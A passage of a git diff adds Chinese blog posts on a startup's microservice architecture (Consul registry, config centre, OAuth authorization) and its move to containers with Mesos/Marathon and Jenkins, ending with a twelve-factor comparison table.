+Spring Cloud 可以说是目前 Java 社区最好最完整的微服务框架（没有之一），底层用的也是 Spring Boot，照着 Spring Cloud 的新手指南，分分钟就可以搭建出一整套微服务应用，非常适合改革式但不是改良式的微服务改造，因为非 Spring 应用难以集成。 + +作为硬币的另一面，选用 Spring Boot，意味着我们需要做大量的自定义工作，以弥补 Spring Boot 在微服务治理方面所欠缺的能力，比如即将在下篇介绍的注册中心、配置中心和授权中心。欢迎留言交流你的心得和见解。 + +# 参考 + +[乐高式微服务化改造（上）](https://mp.weixin.qq.com/s/KUGdGOrr0_5fwkrvhbI_aA) diff --git a/_posts/2018-12-12-318-wfw02.md b/_posts/2018-12-12-318-wfw02.md new file mode 100644 index 0000000..2ef558b --- /dev/null +++ b/_posts/2018-12-12-318-wfw02.md @@ -0,0 +1,178 @@ +--- +layout: post +title: 【杏仁技术站】乐高式微服务化改造（下） +pid: 318 +tags: [微服务] +--- + +上篇讲了杏仁微服务化改造的项目背景和基本框架，这篇我将进一步介绍其中的三大核心组件，即注册中心，配置中心和授权中心。 + +1. 注册中心：所有服务注册到 Consul 集群，然后通过 Consul Template 刷新Nginx配置实现负载均衡 +2. 配置中心：使用自研的 Matrix 系统，通过自定义构建插件覆写配置，最小化对已有应用的侵入性 +3. 授权中心：基于 Spring Security OAuth，同时支持基于微信企业号的 SSO + +# 注册中心 + +作为微服务架构最基础也是最重要的组件之一，*服务注册中心本质上是为了解耦服务提供者和服务消费者*。对于任何一个微服务，原则上都应存在或者支持多个提供者，这是由微服务的分布式属性决定的。更进一步，为了支持弹性扩缩容特性，一个微服务的提供者的数量和分布往往是动态变化的，也是无法预先确定的。因此，原本在单体应用阶段常用的静态 LB 机制就不再适用了，需要引入额外的组件来管理微服务提供者的注册与发现，而这个组件就是服务注册中心。 + + +设计或者选型一个服务注册中心，首先要考虑的就是服务注册与发现机制。纵观当下各种主流的服务注册中心解决方案，大致可归为三类： + + +- 应用内：直接集成到应用中，依赖于应用自身完成服务的注册与发现，最典型的是 Netflix 提供的 Eureka +- 应用外：把应用当成黑盒，通过应用外的某种机制将服务注册到注册中心，最小化对应用的侵入性，比如 Airbnb 的 SmartStack，HashiCorp 的 Consul +- DNS：将服务注册为 DNS 的 SRV 记录，严格来说，是一种特殊的应用外注册方式，SkyDNS 是其中的代表 + + +注1：对于第一类注册方式，除了 Eureka 这种一站式解决方案，还可以基于 ZooKeeper 或者 Etcd 自行实现一套服务注册机制，这在大公司比较常见，但对于小公司而言显然性价比太低。 + +注2：由于 DNS 固有的缓存缺陷，这里不对第三类注册方式作深入探讨。 + + +除了基本的服务注册与发现机制，从开发和运维角度，至少还要考虑如下五个方面： + +- 测活：服务注册之后，如何对服务进行测活以保证服务的可用性？ +- 负载均衡：当存在多个服务提供者时，如何均衡各个提供者的负载？ +- 集成：在服务提供端或者调用端，如何集成注册中心？ +- 运行时依赖：引入注册中心之后，对应用的运行时环境有何影响？ +- 可用性：如何保证注册中心本身的可用性，特别是消除单点故障？ + +框架选型 + + +下面就围绕这几个方面，简单分析一下 Eureka，SmartStack，Consul 的利弊。 + +*Eureka* + +![](/uploads/2018/12/12-09.jpg) + +从设计角度来看，Eureka 可以说是无懈可击，注册中心、提供者、调用者边界清晰，通过去中心化的集群支持保证了注册中心的整体可用性，但缺点是 Eureka 属于应用内的注册方式，对应用的侵入性太强，且只支持 Java 应用。 + + +*SmartStack* + +![](/uploads/2018/12/12-10.jpg) + +SmartStack 可以说是三种方案中最复杂的，涉及了 ZooKeeper、HAProxy、Nerve 和 Synapse 四种异构组件，对运维提出了很高的要求。它最大的好处是对应用零侵入，且适用于任意类型的应用。 + +*Consul* + + + +Consul 本质上属于应用外的注册方式，但可以通过集成 Consul SDK 加上本地 Agent的 方式简化注册流程。当服务以容器方式运行时，可以更进一步通过Registrator 实现自动注册。服务调用端的服务发现默认依赖于 SDK，但可以通过 Consul Template 去除 SDK 依赖。 + +*最终方案* + +最终我们选择了 Consul 作为服务注册中心的实现方案，主要原因有两点： + +1. 最小化对已有应用的侵入性，这也是贯穿我们整个微服务化改造的原则之一。 +2. 降低运维的复杂度，通过使用 Registrator 和 Consul Template 实现服务自注册和自发现。 + +![](/uploads/2018/12/12-11.jpg) + +# 配置中心 + +我们知道，大至一个 PaaS 平台，小至一个缓存框架，一般都依赖于特定的配置以正常提供服务，微服务也不例外。 + + +配置中心按不同的类型划分，有不同的类型。 + +- 按配置的来源划分，主要有源代码（俗称 hard-code），文件，数据库和远程调用。 +- 按配置的适用环境划分，可分为开发环境，测试环境，预发布环境，生产环境等。 +- 按配置的集成阶段划分，可分为编译时，打包时和运行时。编译时，最常见的有两种，一是源代码级的配置，二是把配置文件和源代码一起提交到代码仓库中。打包时，即在应用打包阶段通过某种方式将配置（一般是文件形式）打入最终的应用包中。运行时，是指应用启动前并不知道具体的配置，而是在启动时，先从本地或者远程获取配置，然后再正常启动。 +- 按配置的加载方式划分，可分为单次加载型配置和动态加载型配置。 + +随着业务复杂度的上升和技术架构的演变，对应用的配置方式也提出了越来越高的要求。一个典型的演变过程往往是这样的，起初所有配置跟源代码一起放在代码仓库中；之后出于安全性的考虑，将配置文件从代码仓库中分离出来，或者放在 CI 服务器上通过打包脚本打入应用包中，或者直接放到运行应用的服务器的特定目录下，剩下的非文件形式的关键配置则存入数据库中。上述这种方式，在单体应用阶段非常常见，也往往可以运行的很好，但到了微服务阶段，面对爆发式增长的应用数量和服务器数量，就显得无能为力了。这时，就轮到配置中心大显身手了。那什么是配置中心？简单来说，就是一种统一管理各种应用配置的基础服务组件。 + + +*框架选型* + +选型一个合格的配置中心，至少需要满足如下 4 个核心需求： + +- 非开发环境下应用配置的保密性，避免将关键配置写入源代码 +- 不同部署环境下应用配置的隔离性，比如非生产环境的配置不能用于生产环境 +- 同一部署环境下的服务器应用配置的一致性，即所有服务器使用同一份配置 +- 分布式环境下应用配置的可管理性，即提供远程管理配置的能力 + +现在开源社区主流的配置中心框架有 Spring Cloud Config 和 Disconf，两者都满足了上述4个核心需求，但又有所区别。 + +*Spring Cloud Config* + +![](/uploads/2018/12/12-12.jpg) + +Spring Cloud Config 可以说是一个为 Spring 量身定做的轻量级配置中心，巧妙的将应用运行环境映射为 profile，应用版本映射为 label。在服务端，基于特定的外部系统（Git、文件系统或者 Vault）存储和管理应用配置；在客户端，利用强大的 Spring 配置系统，在运行时加载应用配置。 + +*Disconf* + +![](/uploads/2018/12/12-13.jpg) + +disconf是前百度资深研发工程师廖绮绮的开源作品。在服务端，提供了完善的操作界面管理各种运行环境，应用和配置文件；在客户端，深度集成Spring，通过Spring AOP实现应用配置的自动加载和刷新。 + +*最终方案* + +不管是 Spring Cloud Config 还是 disconf，默认提供的客户端都深度绑定了 Spring 框架，这对非 Spring 应用而言无疑增加了集成成本，即便它们都提供了获取应用配置的 API。 + + +最终我们还是选用了微服务化改造之前自研的 Matrix 作为配置中心，一方面，可以保持新老系统使用同一套配置服务，降低维护成本，另一方面，在满足 4 个核心需求的前提下，Matrix 还提供了一些独有的能力。 + +- 分离配置文件和配置项。对于配置文件，通过各类配套打包插件（sbt，maven，gradle），在打包时将配置文件打入应用包中，同时最小化对CI的侵入性；对于配置项，提供 SDK，帮助应用从服务端获取配置项，同时支持简单的缓存机制。 +- 增加应用版本维度，即对于同一应用，可以在服务端针对不同版本或版本区间维护不同的应用配置。 +- 应用配置的版本化支持，类似于 Git，可以将任一应用配置回退到任一历史版本。 + +# 授权中心 + + +有了服务注册中心和配置中心，下一步应该就可以发起服务调用了吧？Wait，还有一个关键问题要解决。不同于单体应用内部的方法调用，服务调用存在一个服务授权的概念。打个比方，原本一家三兄弟住一屋，每次上山打猎喊一声就行，后来三兄弟分了家，再打猎就要挨家挨户敲门了。这一敲一应就是所谓的服务授权。 + + +严格来说，服务授权包含鉴权（Authentication）和授权（Authorization）两部分。*鉴权解决的是调用方身份识别的问题*，即敲门的是谁。*授权解决的是调用是否被允许的问题*，即让不让进门。两者一先一后，缺一不可。为避免歧义，如不特殊指明，下文所述授权都是宽泛意义上的授权，即包含了鉴权。 + + +常见的服务授权有三种，简单授权，协议授权和中央授权。 + +- 简单授权：服务提供方并不进行真正的授权，而是依赖于外部环境进行自动授权，比如IP地址白名单，内网域名等。这就好比三兄弟互相留了一个后门。 +- 协议授权：服务提供方和服务调用方事先约定一个密钥，服务调用方每次发起服务调用请求时，用约定的密钥对请求内容进行加密生成鉴权头（包含调用方唯一识别 ID），服务提供方收到请求后，根据鉴权头找到相应的密钥对请求进行鉴权，鉴权通过后再决定是否授权此次调用。这就好比三兄弟之间约定敲一声是大哥，敲两声是二哥，敲三声是三弟。 +- 中央授权：引入独立的授权中心，服务调用方每次发起服务调用请求时，先从授权中心获取一个授权码，然后附在原始请求上一起发给服务提供方，提供方收到请求后，先通过授权中心将授权码还原成调用方身份信息和相应的权限列表，然后决定是否授权此次调用。这就好比三兄弟每家家门口安装了一个110联网的指纹识别器，通过远程指纹识别敲门人的身份。 + + +一般来说，简单授权在业务规则简单、安全性要求不高的场景下用的比较多。而协议授权，比较适用于点对点或者 C/S 架构的服务调用场景，比如 Amazon S3 API。对于网状结构的微服务而言，中央授权是三种方式中最适合也是最灵活的选择： + +- 简化了服务提供方的实现，让提供方专注于权限设计而非实现。 +- 更重要的是提供了一套独立于服务提供方和服务调用方的授权机制，无需重新发布服务，只要在授权中心修改服务授权规则，就可以影响后续的服务调用。 + +*Oauth* + + +说起具体的授权协议，很多人第一反应就是OAuth。事实上也的确如此，很多互联网公司的开放平台都是基于 OAuth 协议实现的，比如 Google APIs，微信网页授权接口。一次标准的 OAuth 授权过程如下： + +![](/uploads/2018/12/12-14.jpg) + +对应到微服务场景，服务提供方相当于上图中的 Resource Server，服务调用方相当于 Client，而授权中心相当于 Authorization Server 和 Resource Owner 的合体。 + +*Beared Token* + +在标准的 OAuth 授权过程中，Resource Server 收到 Client 发来的请求后，需要到 Authorization Server 验证 Access Token，并获取 Client 的进一步信息。通过 OAuth 2.0 版本引入中的 Beared Token，我们可以省去这一次调用，将 Client 信息存入 Access Token，并在 Resource Server 端完成 Access Token 的鉴权。主流的 Beared Token 有 SAML 和 JWT 两种格式，SAML 基于 XML，而 JWT 基于 JSON。由于大多数微服务都使用 JSON 作为序列化格式，JWT 使用的更为广泛。 + +*框架选型* + +在选型OAuth框架时，我主要调研了 CAS，Apache Oltu，Spring Security OAuth 和 OAuth-Apis，对比如下： + +![](/uploads/2018/12/12-15.jpg) + +不考虑实际业务场景，CAS 和 Spring Security OAuth 相对另外两种框架，无论是集成成本还是可扩展性，都有明显优势。前文提到，由于我们选用了 Spring Boot 作为统一的微服务实现框架，Spring Security OAuth 是更自然的选择，并且维护成本相对低一些（服务端）。 + +*最终方案* + +最后我们基于 Spring Security OAuth 框架实现了自己的服务授权中心，鉴权部分目前支持私网认证，Scope 校验和域名校验。大致的服务授权流程如下： + +![](/uploads/2018/12/12-16.jpg) + +# 更多 + +微服务是一个很大的话题，自 Martin Fowler 在 2014 年 3 月提出以来，愈演愈热，并跟另一个话题容器化一起开创了一个全新的 DevOps 时代，引领了国内外大大小小各个互联网公司的技术走向，也影响了我们这一代程序员尤其是后端和运维的思维方式。希望我的这两篇文章能给你带来一些新的启发和思考，欢迎留言交流。 + +> 少年读书如隙中窥月，中年读书如庭中望月，老年读书如台上玩月，皆以阅历之浅深为所得之浅深耳。-- 张潮 《幽梦影》 + +# 参考 + +[乐高式微服务化改造（下）](https://mp.weixin.qq.com/s/MYNChqtCdZyaUqw89AkuAw) \ No newline at end of file diff --git a/_posts/2018-12-14-319-lxc.md b/_posts/2018-12-14-319-lxc.md new file mode 100644 index 0000000..60f87bf --- /dev/null +++ b/_posts/2018-12-14-319-lxc.md @@ -0,0 +1,21 @@ +--- +layout: post +title: Linux namespace +pid: 319 +tags: [k8s] +--- + + +[Linux namespace 简介 part 1 - UTS](http://blog.lucode.net/linux/intro-Linux-namespace-1.html) + +[Linux namespace 简介 part 2 - IPC](http://blog.lucode.net/linux/intro-Linux-namespace-2.html) + +[Linux namespace 简介 part 3 - PID](http://blog.lucode.net/linux/intro-Linux-namespace-3.html) + +[Linux namespace 简介 part 4 - NS(FS)](http://blog.lucode.net/linux/intro-Linux-namespace-4.html) + +[Linux namespace 简介 part 5 - NET](http://blog.lucode.net/linux/intro-Linux-namespace-5.html) + +[Linux namespace 简介 part 6 - USER](http://blog.lucode.net/linux/intro-Linux-namespace-6.html) + +[理解 chroot](https://www.ibm.com/developerworks/cn/linux/l-cn-chroot/) \ No newline at end of file diff --git a/_posts/2018-12-17-320-docker01.md b/_posts/2018-12-17-320-docker01.md new file mode 100644 index 0000000..38ac7fc --- /dev/null +++ b/_posts/2018-12-17-320-docker01.md @@ -0,0 +1,90 @@ +--- +layout: post +title: 【杏仁技术站】一个创业公司的容器化之路（一） - 容器化之前 +pid: 320 +tags: [docker] +--- + +# 创业公司的技术挑战 + +托尔斯泰说：“幸福的家庭都是相同的，不幸的家庭各有各的不幸。”互联网创业公司也一样。大部分互联网创业公司，都会碰到以下几个技术挑战。 + +- 如何快速、低成本的搭建系统，同时确保安全稳定？ +- 如何快速的构建和发布应用，满足业务需求？ +- 如何提高团队开发效率，确保开发质量？ + +这个列表肯定不完整，但这三个应该是创业公司技术团队都会面临的共通的问题。当然杏仁不能说完全解决了这几个问题，但还是取得了一些进展。我们接下来简单介绍下，我们杏仁是怎么应对这些挑战的，以及容器又可以带来什么？ + +该系列文章会分为三篇。第一篇介绍容器化之前，杏仁技术架构的发展历史。第二篇介绍容器以及杏仁的容器化方案。第三篇最后总结为什么我们认为创业公司应该用容器，以及为什么容器可以帮助我们应对这三个挑战。 + +# 杏仁早期 + +在 2012 年以前，大部分互联网公司包括创业公司，都是直接购买服务器，租用 IDC 机房的机架部署的。应用是直接运行在物理机上的，要扩展必须购买新服务器。IDC 经常出各种故障，如果碰到 IDC 迁移的话，就更痛苦，必须半夜搬机器，天亮前上线。总之对创业公司的成本、服务稳定性、工作效率都是有很大的消耗。 + +不过杏仁医生很幸运，正好赶上了公有云的成熟，所以一开始就是基于公有云搭建的。杏仁医生最早期的架构如下： + +![](/uploads/2018/12/17-01.png) + +这个架构非常简单，其中负载平衡、数据库都是基于腾讯云的。然后腾讯云也提供了一些基础的监控、告警和安全服务。然后就是两个应用，一个移动后端 API，一个运营平台，都是基于 Play 的 Scala 应用。 + +很多人可能会好奇为什么选择 Scala／Play 进行开发，毕竟 Scala 在国内应该用的不多。这里一方面因为杏仁医生是继承了看处方的架构，当初看处方就是基于 Scala／Play 开发的， 团队对这一套方案比较熟悉。我们需要快速的构建杏仁医生，自然就会选择最熟悉的语言和框架。而且对于中小规模的应用，Scala／Play 的开发效率的确非常高。Scala 本身的表达能力非常强，是一门很有意思的语言。很多好学的工程师，也会对新的语言也会比较感兴趣。 + +# 应用拆分和CI／CD + +经过一年多快速演进，整个应用越来越庞杂。所以我们对应用进行了拆分，并且随着业务扩张，应用也越来越多，例如 HIS、CRM 等。所以我们的架构变成了这个样子。 + +![](/uploads/2018/12/17-02.png) + +这时 Scala 最大的问题开始体现出来了，那就是编译速度的问题。那时候我们的应用部署方式也很原始，必须登陆服务器运行一个 Shell 脚本，它会拉取代码，然后编译、打包、运行，整个过程需要耗费5～10分钟。而我们 API 应用的节点后来增加到 5、6 台，即使两台同时发布，也需要 20 分钟才能全部发布完成。如果发布后出了问题，那就吐血了，因为回滚也是一样的流程，又需要 20 分钟。 + +有一次我们做了一个送 Apple Watch 的活动，半夜 12 点开始。我们出了个很低级的 BUG，活动一开始就蹭蹭蹭的一分钟送好几个 Apple Watch。我们创业公司也没多少钱，每一个都是白花花的银子，心痛啊。修复很简单，但发布或者回滚都得先编译，太慢了，于是我们一狠心把服务器给停了，几分钟后才部署上了新的代码。 + +这是我们觉得必须要有一个自动化的发布系统了。其实在几年以前，发布都是需要运维执行的，研发提交给运维，运维手动部署。那自然发布不可能很频繁，并且对开发和运维都是很大的负担。但渐渐的敏捷和 Devops 的文化成为主流，持续集成和发布（CI/CD）成为一项基础设施。 + +我们第一版 CI/CD 很简单，是基于 Jenkins 的，通过脚本进行编译、打包，然后拷贝到服务器上发布。因为只要打包一次即可，缓解了部署慢的问题。但还是存在几个问题。 + +- 首先，没有应用仓库。打包是一次性的，部署的时候会备份当前应用目录，用于回滚，所以只能回滚到上一个版本。 +- 其次，健康检比较简单，只能检测应用是否启动。我们遇到过应用启动了，测活也没问题，但服务还是有严重问题、基本不可用的情况。 +- 最后，不支持灰度发布，出问题只能回滚。 + +期间我们有一次较大的故障，也是因为这几个因素，花了很长时间才恢复。痛定思痛，于是我们又开发了 Frigate 发布系统，它的架构大致如下图。 + +![](/uploads/2018/12/17-03.jpg) + +- Frigate 有一个应用仓库，即 App Repository。应用仓库会保存发布的应用版本，回滚的时候可以指定版本。 +- Watcher 组建实现了比较强大的应用检测功能。除了一般的 HTTP 检测，还可以从日志、监控里获取数据，可以根据异常数、错误率等进行进一步的健康检测。 +- Frigate 支持分组和分阶段发布。例如现发布2台机器，然后健康检查，或者中间可以有一些人工检查，然后再发布剩余的机器。 + +后来回头看，Frigate 虽然没有使用容器，但其实是实现了容器编排的很多功能。Frigate 发布的截图如下，这是基于 Jenkins Pipeline 的。 + +![](/uploads/2018/12/17-04.jpg) + +# 微服务化 + +系统多了，依赖复杂、数据没有隔离、逻辑重复，接下来一个必然的方向就是微服务。关于微服务，我们公众号有两篇文章（乐高式微服务化改造（上）、乐高式微服务化改造（下））对此有比较详细的分析说明，这里就简单介绍一下。 + +我们的服务注册和发现是基于 Consul 的，负载平衡是通过 Nginx 实现的。下图是整个服务注册和发现的过程： + +![](/uploads/2018/12/17-05.png) + +有几点是值得一提的。 + +首先，我们的微服务是基于 HTTP 和 Json 的，没有采用二进制的协议如 Protobuf、Thrift 等。其实 HTTP 和二进制协议的性能差别，并没有很多人想的那么大，一般也就2、3倍的差距（没有亲测）。对大部分企业，这个差别根本就不是瓶颈，特别是现在还有 HTTP2。如果真的有需要，还可以在 HTTP2 上跑二进制协议，通过框架在服务端和客户端加一层就可以实现。 + +其次，我们的微服务对应用是无侵入的。我们没有采用常见的 Dubbo、SpringCloud 框架。一方面我们服务调用方有 Java 应用也有 Scala 应用，要接入还是要花点功夫。另一方面，我们认为微服务框架发展的未来方向是非侵入性的独立的微服务基础设施层。其实这和容器编排的理念是一致的，并且最近提出的 Service Mesh 概念，就是进一步的延伸，我们认为这才是微服务的未来。 + +最后，我们每个微服务都会生成一个 SDK，便于调用方调用。SDK 集成了熔断、异步、分布式追逐（开发中）等功能。 + +搭建了微服务基础框架后，我们开发了好几个微服务，有业务的例如订单、预约等，有基础设施的例如推送、短信等。当然其实有些并不算“微”。 + +但是我们发现，整个体系依然存在不少问题 + +- 基于云服务，成本低了，效率高了。但运维还是面向资源的，并且资源利用率不高。 +- 有了持续集成和部署的能力。但新增节点、新建服务等，依然需要大量人工运维，并且扩展并不方便。 +- 实践微服务，改进了应用架构。但依赖管理、监控等尚未完善，稳定性仍然不够。 + +下一篇，我们将介绍杏仁是怎么使用容器和容器编排来优化这些问题的。 + +# 参考 + +[一个创业公司的容器化之路（一） - 容器化之前](https://mp.weixin.qq.com/s/Qr5_GxDVO-jbro44dJLIzg) \ No newline at end of file diff --git a/_posts/2018-12-17-321-docker02.md b/_posts/2018-12-17-321-docker02.md new file mode 100644 index 0000000..302bb09 --- /dev/null +++ b/_posts/2018-12-17-321-docker02.md @@ -0,0 +1,98 @@ +--- +layout: post +title: 【杏仁技术站】一个创业公司的容器化之路（二） - 容器化 +pid: 321 +tags: [docker] +--- + +# 容器是什么？ + +上一篇文章（一个创业公司的容器化之路（一） - 容器化之前），我们简单说明了杏仁容器化之前的架构发展。今天我们就来谈谈容器。 + +2013 年 Docker 横空出世，到 2015 年已经渐渐进入大家的视野。容器当然不一定是 Docker，而且容器现在也是有标准的。但一说容器大家肯定会想到 Docker。所以我们这里说的容器，主要就是指 Docker。 + +容器到底是什么呢？顾名思义，容器就是用来装东西的。在这里它用来装的就是应用程序。容器的特点简单说就那么四点： + +- 容器是自包含的，它打包了应用程序及其所有依赖，可以直接运行。以前应用程序的依赖管理一直是个大问题，即使像 RPM 、Maven、Ansible 等都能解决一部分问题，但并没有一个所有应用程序通用的标准机制，直到容器出现。 +- 容器是可移植的，可以在几乎任何地方以相同的方式运行。这就可以确保应用在开发环境、测试环境、生产环境等都有完全一样的运行环境。 +- 容器是互相隔离的，同一主机上运行的多个容器，不会互相影响。即一个容器中运行的应用程序，是访问不到其他容器的资源的（进程、网络、文件、用户等），除非配置为共享的资源。 +- 容器是轻量级的，体现在容器的秒级启动，并且占用资源很少。 + +容器能做的很多事情，虚拟机也能做，那它们有什么区别呢？下面这张图是 Docker 官网的截图，很好的说明了两者的区别。 + +![](/uploads/2018/12/17-06.jpg) + +但最根本的差别，其实就是最后一点：轻量。很多人可能觉得这只是一个简单的差别，但其实不是。因为就是这一点使得容器可以成为一种 标准化的应用发布方式。 + +上个世纪 5、60 年代集装箱刚出现，看上去也只是简单的差别，也没有什么技术含量。但集装箱提供了一个标准化的物流方式，全球的海陆空运输、码头装卸等围绕集装箱形成了整个一个高效的物流体系。最终改变了世界贸易，促成了全球化。 + +所以容器这个标准化的应用发布方式，最终会影响上层的整个应用架构。最终围绕容器，会建立一套完整应用架构体系，带来革命性的改变。现在其实已经可以看到一点端倪了，Kubernetes 基本已经成为标准，不久前 Google 还发布了 Istio 这个 Service Mesh 工具，进一步把微服务的基础架构也抽象了出来。 + +# 容器编排是什么？ + +光有能装应用的容器还不够，如果还是人工管理那么多容器，那也发挥不出容器的优势。所以我们需要一个容器编排系统。容器编排能提供以下功能： + +- 应用调度：应用部署、无缝升级、弹性扩展、自愈等。 +- 资源管理：内存、CPU、存储空间、网络等。 +- 服务管理：命名空间、负载均衡、健康检查等。 +- 以及很多其他功能，如日志、监控、认证、授权等。 + +容器编排领域最主要的三个系统是 Docker Swarm、Kubernetes 以及 Marathon/Mesos。 + +Swarm 是 Docker 官方的方案，优点就是简单，缺点是太简单了。 + +然后是 Google 的 Kubernetes，也叫 K8s。Kubernetes 最近一年大放光彩，几乎统治了容器编排领域，就连 Docker 官方不久前也宣布了支持 Kubernetes 。它的优势就是有大厂支持，而且 Google 是把它作为战略来布局的，你可以把它想象成当年的 Android；它的社区也非常火爆。 + +技术上，Kubernetes 是一个集成的方案，设计非常优秀，可以说是分布式系统的设计典范，Google 在这方面毕竟有很深入的经验。缺点就是有点复杂，而且在今年之前它还是存在不少问题，包括性能问题、大版本的兼容性、部署复杂等，当然现在已经基本解决了。 + +Mesos 在 Docker 之前就有了，本身做的是分布式系统的资源管理，Mesos 很灵活，上面可以支持各种系统，包括 Spark 等。Marathon 则是基于 Mesos 实现了编排的功能。 + +我们是去年年中考虑容器化的，我们最后选择的方案是 Marathon/Mesos。原因一方面是之前 Jenkins 容器化已经用到了 Marathon/Mesos，有些经验。另一方面是该方案便于和当前的架构整合。Kubernetes 太过复杂，迁移的话，对架构改动太大。 + +# 杏仁的容器化 + +我们容器化之后的架构是这样的： + +![](/uploads/2018/12/17-07.jpg) + +所有的应用都以容器的方式运行在 Mesos Slave 上，Mesos Master 统一管理 Mesos Slave 服务器。Marathon 通过 Mesos 调度容器，进行发布、升级、扩容等。Calico 是 Docker 的网络解决方案，实现了一个容器一个 IP 以及容器之间的互联。而右上角部分，我们基本保留了我们之前的微服务架构，只是用于服务发现和注册的 Consul Agent 替换成了 Registrator。 + +同时我们的 CI/CD 也相应的做了调整。 + +![](/uploads/2018/12/17-08.jpg) + +Jenkins 自身现在也是基于容器的，会在 Mesos Slave 的容器里进行编译和打包。应用会被打包成的 Docker 镜像，上传到我们的镜像仓库 Harbor 里。部署时，Jenkins 调用 Marathon 的接口进行部署，Marathon 则从 Mesos 申请资源。部署时 Mesos 会从 Harbor 下载相应的应用镜像并根据配置运行。 + +有了这套系统，我们创建应用、扩展应用就很简单了。创建应用时首先通过 Dockerfile 和 Jenkins 创建镜像，然后在 Marathon 界面上，只需要准备一个 Json 配置（也可以通过 Form 配置），指定资源、实例数、镜像、网络、健康检查、环境变量等，就可以很快上线一个新应用。 + +![](/uploads/2018/12/17-09.jpg) + +有时候我们要准备一个秒杀活动或者推送几百万用户，需要增加应用实例，也只要在 Marathon 界面调整一个数字就可以了。 + +![](/uploads/2018/12/17-10.png) + +除了容器编排和 CI/CD，还有两个很基础的东西，一个是基于 ELK 的统一日志平台、另一个是基于 Open-Falcon、StatsD、Graphite、Grafana 的 监控告警平台。大致结构如下，具体实现以后有机会再专门写文章介绍，这里就不详述了。 + +![](/uploads/2018/12/17-11.jpg) + +最终，我们的整个平台的组成是这样的： + +![](/uploads/2018/12/17-12.jpg) + +# 容器化总结 + +到这里为止，这些就是杏仁目前的基础平台的架构。通过这套系统，我们提升了资源利用率，刚刚迁移到容器化环境的时候，我们只用了原来大约 6、70% 的云服务器。并且我们大大加强了我们的自动化运维的能力，完善了服务监控。 + +但是这套系统也存在不少问题。 + +- 新增服务器节点还是需要一些手工操作。 +- 容器、环境等的配置都是分散在各处，缺乏有效的管理。 +- 对有状态应用支持不好。 +- 系统存在一些冗余，例如有 Zookeeper、有 Etcd 还有 Consul。 +- 不支持自动扩容。 +- 部分基础设施没有容器化。 + +未来我们会继续进化，也许等时机成熟了，也不排除会迁移到公有云的容器服务，或者自建 Kubernetes 集群。 + +# 参考 +[一个创业公司的容器化之路（二） - 容器化](https://mp.weixin.qq.com/s/gQDaPQuDmqBsWIPIwsDVOg) \ No newline at end of file diff --git a/_posts/2018-12-17-322-docker03.md b/_posts/2018-12-17-322-docker03.md new file mode 100644 index 0000000..c787491 --- /dev/null +++ b/_posts/2018-12-17-322-docker03.md @@ -0,0 +1,99 @@ +--- +layout: post +title: 【杏仁技术站】一个创业公司的容器化之路（三）- 容器即未来 +pid: 322 +tags: [docker] +--- + +创业公司使用容器的四个原因 + +前两篇文章（一个创业公司的容器化之路（一） - 容器化之前、一个创业公司的容器化之路（二） - 容器化）我们介绍了杏仁架构的发展历程。我们再回顾一下第一篇开头提出的三个初创公司的技术挑战： + +- 如何快速、低成本的搭建系统，同时确保安全稳定？ +- 如何快速的构建和发布应用，满足业务需求？ +- 如何提高团队开发效率，确保开发质量？ + +杏仁通过容器化来应对这几个挑战，也取得了一些成就，但也说不上完美的解决。毕竟我们规模还小，很多方案也只是在我们这个规范刚好够用。不过在这个过程里，我们还是深刻体会到了容器化的价值。正如我介绍容器的时候说的，容器会和集装箱一样，成为一个标准化的基础设施，对上层应用产品革命性的影响。 + +很多大厂其实一、两年前就开始做容器方面的尝试。但现在，我们认为其实初创公司也应该考虑应用容器了，原因有以下几点。 + +# 容器生态已经成熟，容器服务和容器云可以大幅降低容器使用成本。 + +去年容器编排还不能说很成熟，例如 Kubernetes 还存在不少缺陷。但经过一年时间狂飙猛进，Kubernetes 今年已经很成熟了，有不少企业已经在生产环境使用了 Kubernetes。部署和运维也比之前简单多了。 + +另一方面，各大公有云也都推出了容器服务，还有不少独立的容器云公司。如果你是用公有云的话，推荐直接使用相应的容器服务，可以快速的搭建系统，大幅降低运维成本，提高效率。 + +并且这会带来一个额外的好处，因为这些容器服务都是基于 Kubernetes 的，而容器本身就是一个标准化的东西，使用容器服务反而可以降低对公有云服务的依赖。在公有云的容器服务之间迁移，或者后期打算自建然后迁移，都不是很难的事情， + +# 容器使创业公司可以轻松的应用行业最佳实践，创建优质应用。 + +几年前有人提出了一个十二要素应用的最佳实践，我认为是一个很好的标准。 + +下面列表对这十二条实践进行了分析，我分成了三种情况，分别用三颗星、两颗星和一颗星表示。 + +- ★★★：没有容器实践起来很困难，容器环境下可以很容易实现。 +- ★★：没有容器也可以实践，但在容器环境下可以做得更好或更轻松。 +- ★：没有容器也可以实践，容器环境里也能支持。 + + + + + + + + + + + + + + + + + + + +
最佳实践支持程度说明
基准代码：一份基准代码，多份部署。★★不仅一份代码多份部署，容器能做到一份镜像，多分部署。
依赖：显式声明依赖关系。★★★容器通过 Dockerfile 管理内部依赖，实现自包含；容器编排管理服务依赖。
配置：在环境中存储配置。★★容器通过环境变量传递配置；容器编排能提供标准的配置工具。
后端服务：把后端服务当作附加资源。★
构建，发布，运行：严格分离构建和运行。★★通过 docker build 构建，通过 docker run 运行，严格分离。
进程：以一个或多个无状态进程运行应用。★容器对无状态应该可以完美支持，有状态应用现在也能很好支持。
端口绑定：通过端口绑定提供服务。★★容器编排可以处理服务依赖和绑定，应用不再需要关心。
并发：通过进程模型进行扩展。★★★容器编排可以很轻松的扩容。
易处理：快速启动和优雅终止可最大化健壮性。★★★容器编排可以支持快速启动、优雅终止，具有自愈能力。
开发环境与线上环境等价：尽可能的保持开发，预发布，线上环境相同。★★★容器的可移植性和自包含，能做到随处运行，但应用的环境依然保持一致。
日志：把日志当作事件流。★★容器和容器编排可以很好的支持日志。
管理进程：后台管理任务当作一次性进程运行。★容器编排提供了多种方式可以运行一次性任务。
